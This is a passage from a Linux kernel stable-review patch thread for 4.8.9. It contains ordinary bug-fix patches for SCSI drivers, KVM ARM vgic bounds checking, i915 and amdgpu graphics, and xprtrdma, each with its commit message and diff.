+		q = sdata->sensor_settings->fs.fs_avl[i].gain / 1000000;
+		r = sdata->sensor_settings->fs.fs_avl[i].gain % 1000000;
+
+		len += scnprintf(buf + len, PAGE_SIZE - len, "%u.%06u ", q, r);
 	}
 	mutex_unlock(&indio_dev->mlock);
 	buf[len - 1] = '\n';

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 37/92] scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (33 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 36/92] iio: st_sensors: fix scale configuration for h3lis331dl Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 38/92] scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk Greg Kroah-Hartman
                     ` (44 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Bill Kuzeja, Himanshu Madhani,
	Martin K. Petersen

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Bill Kuzeja <William.Kuzeja@stratus.com>

commit a5dd506e1584e91f3e7500ab9a165aa1b49eabd4 upstream.

A system can get hung task timeouts if a qlogic board fails during
initialization (if the board breaks again or fails the init). The hang
involves the scsi scan.

In a nutshell, since commit beb9e315e6e0 ("qla2xxx: Prevent removal and
board_disable race"):

...it is possible to have freed ha (base_vha->hw) early by a call to
qla2x00_remove_one when pdev->enable_cnt equals zero:

       if (!atomic_read(&pdev->enable_cnt)) {
               scsi_host_put(base_vha->host);
               kfree(ha);
               pci_set_drvdata(pdev, NULL);
               return;

Almost always, the scsi_host_put above frees the vha structure
(attached to the end of the Scsi_Host we're putting) since it's the last
put, and life is good.  However, if we are entering this routine because
the adapter has broken sometime during initialization AND a scsi scan is
already in progress (and has done its own scsi_host_get), vha will not
be freed. What's worse, the scsi scan will access the freed ha structure
through qla2xxx_scan_finished:

        if (time > vha->hw->loop_reset_delay * HZ)
                return 1;

The scsi scan keeps checking to see if a scan is complete by calling
qla2xxx_scan_finished. There is a timeout value that limits the length
of time a scan can take (hw->loop_reset_delay, usually set to 5
seconds), but this definition is in the data structure (hw) that can get
freed early.

This can yield unpredictable results, the worst of which is that the
scsi scan can hang indefinitely. This happens when the freed structure
gets reused and loop_reset_delay gets overwritten with garbage, which
the scan obliviously uses as its timeout value.

The fix for this is simple: at the top of qla2xxx_scan_finished, check
for the UNLOADING bit in the vha structure (_vha is not freed at this
point).  If UNLOADING is set, we exit the scan for this adapter
immediately. After this last reference to the ha structure, we'll exit
the scan for this adapter, and continue on.

This problem is hard to hit, but I have run into it doing negative
testing many times now (with a test specifically designed to bring it
out), so I can verify that this fix works. My testing has been against a
RHEL7 driver variant, but the bug and patch are equally relevant to to
the upstream driver.

Fixes: beb9e315e6e0 ("qla2xxx: Prevent removal and board_disable race")
Signed-off-by: Bill Kuzeja <william.kuzeja@stratus.com>
Acked-by: Himanshu Madhani <himanshu.madhani@cavium.com>
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/scsi/qla2xxx/qla_os.c |    2 ++
 1 file changed, 2 insertions(+)

--- a/drivers/scsi/qla2xxx/qla_os.c
+++ b/drivers/scsi/qla2xxx/qla_os.c
@@ -2341,6 +2341,8 @@ qla2xxx_scan_finished(struct Scsi_Host *
 {
 	scsi_qla_host_t *vha = shost_priv(shost);
 
+	if (test_bit(UNLOADING, &vha->dpc_flags))
+		return 1;
 	if (!vha->host)
 		return 1;
 	if (time > vha->hw->loop_reset_delay * HZ)

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 38/92] scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (34 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 37/92] scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 39/92] scsi: scsi_dh_alua: fix missing kref_put() in alua_rtpg_work() Greg Kroah-Hartman
                     ` (43 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Sreekanth Reddy, Martin K. Petersen

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Sreekanth Reddy <sreekanth.reddy@broadcom.com>

commit 6d3a56ed098566bc83d6c2afa74b4199c12ea074 upstream.

While merging mpt3sas & mpt2sas code, we added the is_warpdrive check
condition on the wrong line

---------------------------------------------------------------------------
 scsih_target_alloc(struct scsi_target *starget)
                        sas_target_priv_data->handle = raid_device->handle;
                        sas_target_priv_data->sas_address = raid_device->wwid;
                        sas_target_priv_data->flags |= MPT_TARGET_FLAGS_VOLUME;
-                       raid_device->starget = starget;
+                       sas_target_priv_data->raid_device = raid_device;
+                       if (ioc->is_warpdrive)
+                               raid_device->starget = starget;
                }
                spin_unlock_irqrestore(&ioc->raid_device_lock, flags);
                return 0;
------------------------------------------------------------------------------

That check should be for the line sas_target_priv_data->raid_device =
raid_device;

Due to above hunk, we are not initializing raid_device's starget for
raid volumes, and so during raid disk deletion driver is not calling
scsi_remove_target() API as driver observes starget field of
raid_device's structure as NULL.

Signed-off-by: Sreekanth Reddy <Sreekanth.Reddy@broadcom.com>
Fixes: 7786ab6aff9 ("mpt3sas: Ported WarpDrive product SSS6200 support")
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/scsi/mpt3sas/mpt3sas_scsih.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- a/drivers/scsi/mpt3sas/mpt3sas_scsih.c
+++ b/drivers/scsi/mpt3sas/mpt3sas_scsih.c
@@ -1273,9 +1273,9 @@ scsih_target_alloc(struct scsi_target *s
 			sas_target_priv_data->handle = raid_device->handle;
 			sas_target_priv_data->sas_address = raid_device->wwid;
 			sas_target_priv_data->flags |= MPT_TARGET_FLAGS_VOLUME;
-			sas_target_priv_data->raid_device = raid_device;
 			if (ioc->is_warpdrive)
-				raid_device->starget = starget;
+				sas_target_priv_data->raid_device = raid_device;
+			raid_device->starget = starget;
 		}
 		spin_unlock_irqrestore(&ioc->raid_device_lock, flags);
 		return 0;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 39/92] scsi: scsi_dh_alua: fix missing kref_put() in alua_rtpg_work()
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (35 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 38/92] scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 40/92] scsi: scsi_dh_alua: Fix a reference counting bug Greg Kroah-Hartman
                     ` (42 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, tang.junhui, Hannes Reinecke,
	Martin K. Petersen

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: tang.junhui <tang.junhui@zte.com.cn>

commit 1fdd14279eab2e9f79745631379f0c53cb8f9a5a upstream.

Reference count of pg leaks in alua_rtpg_work() since kref_put() is not
called to decrease the reference count of pg when the condition
pg->rtpg_sdev==NULL satisfied (actually it is easy to satisfy), it would
cause memory of pg leakage.

Signed-off-by: tang.junhui <tang.junhui@zte.com.cn>
Reviewed-by: Hannes Reinecke <hare@suse.com>
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/scsi/device_handler/scsi_dh_alua.c |    1 +
 1 file changed, 1 insertion(+)

--- a/drivers/scsi/device_handler/scsi_dh_alua.c
+++ b/drivers/scsi/device_handler/scsi_dh_alua.c
@@ -792,6 +792,7 @@ static void alua_rtpg_work(struct work_s
 		WARN_ON(pg->flags & ALUA_PG_RUN_RTPG);
 		WARN_ON(pg->flags & ALUA_PG_RUN_STPG);
 		spin_unlock_irqrestore(&pg->lock, flags);
+		kref_put(&pg->kref, release_port_group);
 		return;
 	}
 	if (pg->flags & ALUA_SYNC_STPG)

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 40/92] scsi: scsi_dh_alua: Fix a reference counting bug
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (36 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 39/92] scsi: scsi_dh_alua: fix missing kref_put() in alua_rtpg_work() Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 41/92] KVM: arm/arm64: vgic: Prevent access to invalid SPIs Greg Kroah-Hartman
                     ` (41 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Bart Van Assche, Tang Junhui,
	Hannes Reinecke, Martin K. Petersen

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Bart Van Assche <bart.vanassche@sandisk.com>

commit df3d422cbac685da882e4c239dfda07de33d431b upstream.

The code at the end of alua_rtpg_work() is as follows:

	scsi_device_put(sdev);
	kref_put(&pg->kref, release_port_group);

In other words, alua_rtpg_queue() must hold an sdev reference and a pg
reference before queueing rtpg work. If no rtpg work is queued no
additional references should be held when alua_rtpg_queue() returns. If
no rtpg work is queued, ensure that alua_rtpg_queue() only gives up the
sdev reference if that reference was obtained by the same
alua_rtpg_queue() call.

Signed-off-by: Bart Van Assche <bart.vanassche@sandisk.com>
Reported-by: Tang Junhui <tang.junhui@zte.com.cn>
Cc: Hannes Reinecke <hare@suse.com>
Cc: Tang Junhui <tang.junhui@zte.com.cn>
Reviewed-by: Hannes Reinecke <hare@suse.com>
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/scsi/device_handler/scsi_dh_alua.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- a/drivers/scsi/device_handler/scsi_dh_alua.c
+++ b/drivers/scsi/device_handler/scsi_dh_alua.c
@@ -890,6 +890,7 @@ static void alua_rtpg_queue(struct alua_
 		/* Do not queue if the worker is already running */
 		if (!(pg->flags & ALUA_PG_RUNNING)) {
 			kref_get(&pg->kref);
+			sdev = NULL;
 			start_queue = 1;
 		}
 	}
@@ -901,7 +902,8 @@ static void alua_rtpg_queue(struct alua_
 	if (start_queue &&
 	    !queue_delayed_work(alua_wq, &pg->rtpg_work,
 				msecs_to_jiffies(ALUA_RTPG_DELAY_MSECS))) {
-		scsi_device_put(sdev);
+		if (sdev)
+			scsi_device_put(sdev);
 		kref_put(&pg->kref, release_port_group);
 	}
 }

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 41/92] KVM: arm/arm64: vgic: Prevent access to invalid SPIs
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (37 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 40/92] scsi: scsi_dh_alua: Fix a reference counting bug Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 45/92] drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms Greg Kroah-Hartman
                     ` (40 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Christoffer Dall, Andre Przywara,
	Marc Zyngier

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Andre Przywara <andre.przywara@arm.com>

commit 112b0b8f8f6e18d4695d21457961c0e1b322a1d7 upstream.

In our VGIC implementation we limit the number of SPIs to a number
that the userland application told us. Accordingly we limit the
allocation of memory for virtual IRQs to that number.
However in our MMIO dispatcher we didn't check if we ever access an
IRQ beyond that limit, leading to out-of-bound accesses.
Add a test against the number of allocated SPIs in check_region().
Adjust the VGIC_ADDR_TO_INT macro to avoid an actual division, which
is not implemented on ARM(32).

[maz: cleaned-up original patch]

Reviewed-by: Christoffer Dall <christoffer.dall@linaro.org>
Signed-off-by: Andre Przywara <andre.przywara@arm.com>
Signed-off-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 virt/kvm/arm/vgic/vgic-mmio.c |   41 +++++++++++++++++++++++++++--------------
 virt/kvm/arm/vgic/vgic-mmio.h |   14 +++++++-------
 2 files changed, 34 insertions(+), 21 deletions(-)

--- a/virt/kvm/arm/vgic/vgic-mmio.c
+++ b/virt/kvm/arm/vgic/vgic-mmio.c
@@ -453,17 +453,33 @@ struct vgic_io_device *kvm_to_vgic_iodev
 	return container_of(dev, struct vgic_io_device, dev);
 }
 
-static bool check_region(const struct vgic_register_region *region,
+static bool check_region(const struct kvm *kvm,
+			 const struct vgic_register_region *region,
 			 gpa_t addr, int len)
 {
-	if ((region->access_flags & VGIC_ACCESS_8bit) && len == 1)
-		return true;
-	if ((region->access_flags & VGIC_ACCESS_32bit) &&
-	    len == sizeof(u32) && !(addr & 3))
-		return true;
-	if ((region->access_flags & VGIC_ACCESS_64bit) &&
-	    len == sizeof(u64) && !(addr & 7))
-		return true;
+	int flags, nr_irqs = kvm->arch.vgic.nr_spis + VGIC_NR_PRIVATE_IRQS;
+
+	switch (len) {
+	case sizeof(u8):
+		flags = VGIC_ACCESS_8bit;
+		break;
+	case sizeof(u32):
+		flags = VGIC_ACCESS_32bit;
+		break;
+	case sizeof(u64):
+		flags = VGIC_ACCESS_64bit;
+		break;
+	default:
+		return false;
+	}
+
+	if ((region->access_flags & flags) && IS_ALIGNED(addr, len)) {
+		if (!region->bits_per_irq)
+			return true;
+
+		/* Do we access a non-allocated IRQ? */
+		return VGIC_ADDR_TO_INTID(addr, region->bits_per_irq) < nr_irqs;
+	}
 
 	return false;
 }
@@ -477,7 +493,7 @@ static int dispatch_mmio_read(struct kvm
 
 	region = vgic_find_mmio_region(iodev->regions, iodev->nr_regions,
 				       addr - iodev->base_addr);
-	if (!region || !check_region(region, addr, len)) {
+	if (!region || !check_region(vcpu->kvm, region, addr, len)) {
 		memset(val, 0, len);
 		return 0;
 	}
@@ -510,10 +526,7 @@ static int dispatch_mmio_write(struct kv
 
 	region = vgic_find_mmio_region(iodev->regions, iodev->nr_regions,
 				       addr - iodev->base_addr);
-	if (!region)
-		return 0;
-
-	if (!check_region(region, addr, len))
+	if (!region || !check_region(vcpu->kvm, region, addr, len))
 		return 0;
 
 	switch (iodev->iodev_type) {
--- a/virt/kvm/arm/vgic/vgic-mmio.h
+++ b/virt/kvm/arm/vgic/vgic-mmio.h
@@ -50,15 +50,15 @@ extern struct kvm_io_device_ops kvm_io_g
 #define VGIC_ADDR_IRQ_MASK(bits) (((bits) * 1024 / 8) - 1)
 
 /*
- * (addr & mask) gives us the byte offset for the INT ID, so we want to
- * divide this with 'bytes per irq' to get the INT ID, which is given
- * by '(bits) / 8'.  But we do this with fixed-point-arithmetic and
- * take advantage of the fact that division by a fraction equals
- * multiplication with the inverted fraction, and scale up both the
- * numerator and denominator with 8 to support at most 64 bits per IRQ:
+ * (addr & mask) gives us the _byte_ offset for the INT ID.
+ * We multiply this by 8 the get the _bit_ offset, then divide this by
+ * the number of bits to learn the actual INT ID.
+ * But instead of a division (which requires a "long long div" implementation),
+ * we shift by the binary logarithm of <bits>.
+ * This assumes that <bits> is a power of two.
  */
 #define VGIC_ADDR_TO_INTID(addr, bits)  (((addr) & VGIC_ADDR_IRQ_MASK(bits)) * \
-					64 / (bits) / 8)
+					8 >> ilog2(bits))
 
 /*
  * Some VGIC registers store per-IRQ information, with a different number

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 45/92] drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (38 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 41/92] KVM: arm/arm64: vgic: Prevent access to invalid SPIs Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 47/92] drm/amdgpu: fix crash in acp_hw_fini Greg Kroah-Hartman
                     ` (39 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Libin Yang, Dhinakaran Pandiyan, Jani Nikula

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Dhinakaran Pandiyan <dhinakaran.pandiyan@intel.com>

commit 61e0c5438866d0e737937fc35d752538960e1e9f upstream.

According to BSpec, cdclk for BDW has to be not less than 432 MHz with DP
audio enabled, port width x4, and link rate HBR2 (5.4 GHz). With cdclk less
than 432 MHz, enabling audio leads to pipe FIFO underruns and displays
cycling on/off.

Let's apply this work around to GEN9 platforms too, as it fixes the same
issue.

v2: Move drm_device to drm_i915_private conversion

Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97907
Cc: Libin Yang <libin.yang@linux.intel.com>
Signed-off-by: Dhinakaran Pandiyan <dhinakaran.pandiyan@intel.com>
Reviewed-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Link: http://patchwork.freedesktop.org/patch/msgid/1478117601-19122-1-git-send-email-dhinakaran.pandiyan@intel.com
(cherry picked from commit 9c7540241885838cfc7fa58c4a8bd75be0303ed1)
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/gpu/drm/i915/intel_display.c |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

--- a/drivers/gpu/drm/i915/intel_display.c
+++ b/drivers/gpu/drm/i915/intel_display.c
@@ -9740,8 +9740,10 @@ static void bxt_modeset_commit_cdclk(str
 static int bdw_adjust_min_pipe_pixel_rate(struct intel_crtc_state *crtc_state,
 					  int pixel_rate)
 {
+	struct drm_i915_private *dev_priv = to_i915(crtc_state->base.crtc->dev);
+
 	/* pixel rate mustn't exceed 95% of cdclk with IPS on BDW */
-	if (crtc_state->ips_enabled)
+	if (IS_BROADWELL(dev_priv) && crtc_state->ips_enabled)
 		pixel_rate = DIV_ROUND_UP(pixel_rate * 100, 95);
 
 	/* BSpec says "Do not use DisplayPort with CDCLK less than
@@ -9783,7 +9785,7 @@ static int ilk_max_pixel_rate(struct drm
 
 		pixel_rate = ilk_pipe_pixel_rate(crtc_state);
 
-		if (IS_BROADWELL(dev_priv))
+		if (IS_BROADWELL(dev_priv) || IS_GEN9(dev_priv))
 			pixel_rate = bdw_adjust_min_pipe_pixel_rate(crtc_state,
 								    pixel_rate);
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 47/92] drm/amdgpu: fix crash in acp_hw_fini
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (39 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 45/92] drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 51/92] xprtrdma: use complete() instead complete_all() Greg Kroah-Hartman
                     ` (38 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Alex Deucher

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Alex Deucher <alexander.deucher@amd.com>

commit 757124d95c42bb579d67df51e51789849929ee31 upstream.

On CZ/ST systems with AZ rather than ACP audio, we need to bail
early in hw_fini since there is nothing to do.

bug: https://bugs.freedesktop.org/show_bug.cgi?id=98276

Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/gpu/drm/amd/amdgpu/amdgpu_acp.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_acp.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_acp.c
@@ -395,9 +395,12 @@ static int acp_hw_fini(void *handle)
 {
 	int i, ret;
 	struct device *dev;
-
 	struct amdgpu_device *adev = (struct amdgpu_device *)handle;
 
+	/* return early if no ACP */
+	if (!adev->acp.acp_genpd)
+		return 0;
+
 	for (i = 0; i < ACP_DEVS ; i++) {
 		dev = get_mfd_cell_dev(adev->acp.acp_cell[i].name, i);
 		ret = pm_genpd_remove_device(&adev->acp.acp_genpd->gpd, dev);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 51/92] xprtrdma: use complete() instead complete_all()
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (40 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 47/92] drm/amdgpu: fix crash in acp_hw_fini Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 52/92] xprtrdma: Fix DMAR failure in frwr_op_map() after reconnect Greg Kroah-Hartman
                     ` (37 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Daniel Wagner, Anna Schumaker,
	Trond Myklebust, Chuck Lever, linux-nfs, netdev

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Daniel Wagner <daniel.wagner@bmw-carit.de>

commit 5690a22d8612e1788b48b4ea53c59868589cd2db upstream.

There is only one waiter for the completion, therefore there
is no need to use complete_all(). Let's make that clear by
using complete() instead of complete_all().

The usage pattern of the completion is:

waiter context                          waker context

frwr_op_unmap_sync()
  reinit_completion()
  ib_post_send()
  wait_for_completion()

					frwr_wc_localinv_wake()
					  complete()

Signed-off-by: Daniel Wagner <daniel.wagner@bmw-carit.de>
Cc: Anna Schumaker <Anna.Schumaker@Netapp.com>
Cc: Trond Myklebust <trond.myklebust@primarydata.com>
Cc: Chuck Lever <chuck.lever@oracle.com>
Cc: linux-nfs@vger.kernel.org
Cc: netdev@vger.kernel.org
Signed-off-by: Anna Schumaker <Anna.Schumaker@Netapp.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 net/sunrpc/xprtrdma/frwr_ops.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/net/sunrpc/xprtrdma/frwr_ops.c
+++ b/net/sunrpc/xprtrdma/frwr_ops.c
@@ -329,7 +329,7 @@ frwr_wc_localinv_wake(struct ib_cq *cq,
 	frmr = container_of(cqe, struct rpcrdma_frmr, fr_cqe);
 	if (wc->status != IB_WC_SUCCESS)
 		__frwr_sendcompletion_flush(wc, frmr, "localinv");
-	complete_all(&frmr->fr_linv_done);
+	complete(&frmr->fr_linv_done);
 }
 
 /* Post a REG_MR Work Request to register a memory region

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 52/92] xprtrdma: Fix DMAR failure in frwr_op_map() after reconnect
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (41 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 51/92] xprtrdma: use complete() instead complete_all() Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 53/92] iommu/io-pgtable-arm: Check for v7s-incapable systems Greg Kroah-Hartman
                     ` (36 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Vasco Steinmetz, Chuck Lever, Anna Schumaker

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Chuck Lever <chuck.lever@oracle.com>

commit 62bdf94a2049822ef8c6d4b0e83cd9c3a1663ab4 upstream.

When a LOCALINV WR is flushed, the frmr is marked STALE, then
frwr_op_unmap_sync DMA-unmaps the frmr's SGL. These STALE frmrs
are then recovered when frwr_op_map hunts for an INVALID frmr to
use.

All other cases that need frmr recovery leave that SGL DMA-mapped.
The FRMR recovery path unconditionally DMA-unmaps the frmr's SGL.

To avoid DMA unmapping the SGL twice for flushed LOCAL_INV WRs,
alter the recovery logic (rather than the hot frwr_op_unmap_sync
path) to distinguish among these cases. This solution also takes
care of the case where multiple LOCAL_INV WRs are issued for the
same rpcrdma_req, some complete successfully, but some are flushed.

Reported-by: Vasco Steinmetz <linux@kyberraum.net>
Signed-off-by: Chuck Lever <chuck.lever@oracle.com>
Tested-by: Vasco Steinmetz <linux@kyberraum.net>
Signed-off-by: Anna Schumaker <Anna.Schumaker@Netapp.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 net/sunrpc/xprtrdma/frwr_ops.c  |   37 ++++++++++++++++++++++---------------
 net/sunrpc/xprtrdma/xprt_rdma.h |    3 ++-
 2 files changed, 24 insertions(+), 16 deletions(-)

--- a/net/sunrpc/xprtrdma/frwr_ops.c
+++ b/net/sunrpc/xprtrdma/frwr_ops.c
@@ -44,18 +44,20 @@
  * being done.
  *
  * When the underlying transport disconnects, MRs are left in one of
- * three states:
+ * four states:
  *
  * INVALID:	The MR was not in use before the QP entered ERROR state.
- *		(Or, the LOCAL_INV WR has not completed or flushed yet).
- *
- * STALE:	The MR was being registered or unregistered when the QP
- *		entered ERROR state, and the pending WR was flushed.
  *
  * VALID:	The MR was registered before the QP entered ERROR state.
  *
- * When frwr_op_map encounters STALE and VALID MRs, they are recovered
- * with ib_dereg_mr and then are re-initialized. Beause MR recovery
+ * FLUSHED_FR:	The MR was being registered when the QP entered ERROR
+ *		state, and the pending WR was flushed.
+ *
+ * FLUSHED_LI:	The MR was being invalidated when the QP entered ERROR
+ *		state, and the pending WR was flushed.
+ *
+ * When frwr_op_map encounters FLUSHED and VALID MRs, they are recovered
+ * with ib_dereg_mr and then are re-initialized. Because MR recovery
  * allocates fresh resources, it is deferred to a workqueue, and the
  * recovered MRs are placed back on the rb_mws list when recovery is
  * complete. frwr_op_map allocates another MR for the current RPC while
@@ -175,12 +177,15 @@ __frwr_reset_mr(struct rpcrdma_ia *ia, s
 static void
 frwr_op_recover_mr(struct rpcrdma_mw *mw)
 {
+	enum rpcrdma_frmr_state state = mw->frmr.fr_state;
 	struct rpcrdma_xprt *r_xprt = mw->mw_xprt;
 	struct rpcrdma_ia *ia = &r_xprt->rx_ia;
 	int rc;
 
 	rc = __frwr_reset_mr(ia, mw);
-	ib_dma_unmap_sg(ia->ri_device, mw->mw_sg, mw->mw_nents, mw->mw_dir);
+	if (state != FRMR_FLUSHED_LI)
+		ib_dma_unmap_sg(ia->ri_device,
+				mw->mw_sg, mw->mw_nents, mw->mw_dir);
 	if (rc)
 		goto out_release;
 
@@ -261,10 +266,8 @@ frwr_op_maxpages(struct rpcrdma_xprt *r_
 }
 
 static void
-__frwr_sendcompletion_flush(struct ib_wc *wc, struct rpcrdma_frmr *frmr,
-			    const char *wr)
+__frwr_sendcompletion_flush(struct ib_wc *wc, const char *wr)
 {
-	frmr->fr_state = FRMR_IS_STALE;
 	if (wc->status != IB_WC_WR_FLUSH_ERR)
 		pr_err("rpcrdma: %s: %s (%u/0x%x)\n",
 		       wr, ib_wc_status_msg(wc->status),
@@ -287,7 +290,8 @@ frwr_wc_fastreg(struct ib_cq *cq, struct
 	if (wc->status != IB_WC_SUCCESS) {
 		cqe = wc->wr_cqe;
 		frmr = container_of(cqe, struct rpcrdma_frmr, fr_cqe);
-		__frwr_sendcompletion_flush(wc, frmr, "fastreg");
+		frmr->fr_state = FRMR_FLUSHED_FR;
+		__frwr_sendcompletion_flush(wc, "fastreg");
 	}
 }
 
@@ -307,7 +311,8 @@ frwr_wc_localinv(struct ib_cq *cq, struc
 	if (wc->status != IB_WC_SUCCESS) {
 		cqe = wc->wr_cqe;
 		frmr = container_of(cqe, struct rpcrdma_frmr, fr_cqe);
-		__frwr_sendcompletion_flush(wc, frmr, "localinv");
+		frmr->fr_state = FRMR_FLUSHED_LI;
+		__frwr_sendcompletion_flush(wc, "localinv");
 	}
 }
 
@@ -327,8 +332,10 @@ frwr_wc_localinv_wake(struct ib_cq *cq,
 	/* WARNING: Only wr_cqe and status are reliable at this point */
